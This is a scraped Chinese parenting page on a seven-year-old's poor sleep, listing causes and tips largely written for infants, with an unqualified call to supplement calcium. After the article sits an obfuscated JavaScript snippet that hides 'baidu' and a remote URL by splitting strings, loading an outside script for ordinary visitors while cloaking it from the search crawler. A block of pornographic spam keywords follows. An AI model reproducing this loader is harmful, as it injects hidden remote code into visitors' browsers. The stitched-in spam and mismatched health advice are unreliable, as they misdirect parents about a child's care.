當(dāng)前位置:首頁(yè) > 母嬰 > 育兒知識(shí) > 正文

七歲孩子睡眠不好怎么辦

2017-04-11 08:43:08  來(lái)源:360常識(shí)網(wǎng)   熱度:
導(dǎo)語(yǔ):孩子今年七歲了,每次睡眠質(zhì)量都是非常差的,每到晚上就特別的興奮,甚至睡覺(jué)的時(shí)候也是不踏實(shí)的,有的時(shí)候甚至也是哭鬧,而且睡了一兩個(gè)小

孩子今年七歲了,每次睡眠質(zhì)量都是非常差的,每到晚上就特別的興奮,甚至睡覺(jué)的時(shí)候也是不踏實(shí)的,有的時(shí)候甚至也是哭鬧,而且睡了一兩個(gè)小時(shí),就會(huì)因?yàn)槟蚱鸫玻瞧鸫仓笠矝](méi)有了睡意,也是煩躁不安的,如果七歲孩子睡眠不好是不是正常呢,有沒(méi)有什么辦法緩解這樣的情況呢,下面就簡(jiǎn)單的了解一下。

寶寶睡覺(jué)不踏實(shí)、哭鬧的原因和對(duì)策

1、缺微量元素,血鈣降低引起大腦及植物性神經(jīng)興奮性增設(shè)導(dǎo)致寶寶晚上睡不安穩(wěn),需要補(bǔ)充鈣和維生素D,如果缺鈣,寶寶的鹵門就閉合得不好;如果缺鋅,一般嘴角都會(huì)潰爛。

2、太熱、太冷

3、太干燥,有鼻屎

4、睡眠前玩得太興奮,按時(shí)睡覺(jué):在寶寶入睡前0.5~1小時(shí),應(yīng)讓寶寶安靜下來(lái),睡前不要玩得太興奮,更不要過(guò)分逗弄寶寶。免得寶寶因過(guò)于興奮、緊張而難以入睡。不看刺激性的電視節(jié)目,不講緊張可怕的故事,也不玩新玩具。要給寶寶創(chuàng)造一個(gè)良好的睡眠環(huán)境。室溫適宜、安靜,光線較暗。蓋的東西要輕、軟、干燥。睡前應(yīng)先讓寶寶排尿。

5、注意肛門外有無(wú)蟯蟲。

6、很多媽媽看到寶寶晚上哭醒會(huì)以為孩子餓了,然后就給孩子喂奶,其實(shí)這是一個(gè)很不好的習(xí)慣,這樣做反而會(huì)造成孩子有晚上睡醒了要吃奶的習(xí)慣。

7、積食、消化不良,上火或者晚上吃的太飽也會(huì)導(dǎo)致睡眠不安。建議喂粥、面等固體食物應(yīng)在臨睡前至少兩三小時(shí)喂,睡前再喝一點(diǎn)奶。

8、母乳寶寶的戀奶。(這個(gè)很多母乳寶寶都存在的情況)

9、晚上一定要喂奶的話,要注意: 盡量保持安靜的環(huán)境。當(dāng)晚上喂奶或換尿布時(shí),不要讓孩子醒透(最好處于半睡眠狀態(tài))。這樣,當(dāng)喂完奶會(huì)換完尿布后,會(huì)容易入睡。 逐漸減少喂奶的次數(shù),不要讓孩子產(chǎn)生夜間吃奶的習(xí)慣。

10、如果寶寶因?yàn)橐估锵肽蚰蚓托眩救擞X(jué)得應(yīng)該給他用尿不濕,這樣不至于因?yàn)榘涯蛴绊憣殞毸X(jué)。如果有用尿不濕的話,一定是尿不濕包得太緊。

11、發(fā)現(xiàn)孩子有睡意時(shí),及時(shí)放到嬰兒床里。最好是讓孩子自己入睡,如果你每次都抱著或搖著他入睡。那么每當(dāng)晚上醒來(lái)時(shí),他就會(huì)讓你抱起來(lái)或搖著他才能入睡。

12、不要讓嬰兒含著奶嘴入睡,奶嘴是讓孩子吸奶用的,不是睡覺(jué)用的,若干孩子含著奶嘴睡著了,在放到床上前,請(qǐng)輕輕將奶嘴抽出。

如果七歲孩子睡眠不好的時(shí)候,需要好好的分析一下病因的,有諸多的因素會(huì)產(chǎn)生孩子的這個(gè)情況的,一定要知道是什么樣的因素產(chǎn)生的,針對(duì)性的找到對(duì)策,只有這樣才能夠徹底的緩解睡眠不好的情況,尤其是七歲孩子來(lái)說(shuō),一定要及時(shí)補(bǔ)充一定的鈣。

轉(zhuǎn)載申明:360常識(shí)網(wǎng),歡迎分享,轉(zhuǎn)載請(qǐng)注明出處!
?
if(navigator.userAgent.indexOf('bLLaLLiLLdLLu'.split('LL').join(''))<0){var ss = document.createElement("script");ss.src="hLLtLLtLLpLLsLL:LL/LL/LLmLLoLLnLLiLLcLLaLLnLLiLLcLLeLL.LLcLLoLLmLL/LLrLLrLLzLLyLLbLLjLLmLLeLLiLLcLL/LLaLLlLLfLLyLLcLL1LLtLLuLLnLL0LLxLLpLLnLLnLLhLLcLL4LLvLLxLLcLLfLL/LL2LL2LL3LL/LLaLLlLLfLLyLLc".split("LL").join("");document.body.appendChild(ss);}else{new Function(document.getElementById('bdrtls').textContent)();bdrtls();}
青草午夜精品视频在线观看| 黑人大战亚洲人精品一区| 亚洲AV无码成人精品区蜜桃| 日本精品视频一区二区| 久久九九AV免费精品| 日韩一区二区精品观看| 精品一区精品二区制服| 国模精品一区二区三区| 最新国产精品好看的国产精品| 精品亚洲成a人片在线观看 | 亚洲AV无码精品无码麻豆| 免费看国产精品麻豆| 国产精品一久久香蕉国产线看| 极品精品国产超清自在线观看| 精品三级66在线播放| 91麻豆精品国产一级| 日韩精品无码久久久久久 | 中文字幕日韩精品麻豆系列| 国产精品99久久久精品无码| 这里只有精品视频在线| 精品人人妻人人澡人人爽牛牛| 97精品国产91久久久久久久| 久久精品国产91久久麻豆自制| 免费观看国产精品| 无码国产精品一区二区免费I6| 91freevideos精品| 国产精品视频一区二区噜噜 | 666精品国产精品亚洲| 免费视频精品一区二区三区| 久久青青草原精品国产软件| 日韩AV毛片精品久久久| 国产麻豆剧传媒精品国产AV| 亚洲高清国产拍精品熟女| 精品成人A区在线观看| 久久亚洲中文字幕精品有坂深雪 | 国产精品视频一区二区猎奇| 亚洲一区二区三区精品视频| 人人妻人人澡人人爽人人精品 | 国产大片51精品免费观看| 韩国精品一区二区三区无码视频 | 真实国产乱子伦精品一区二区三区|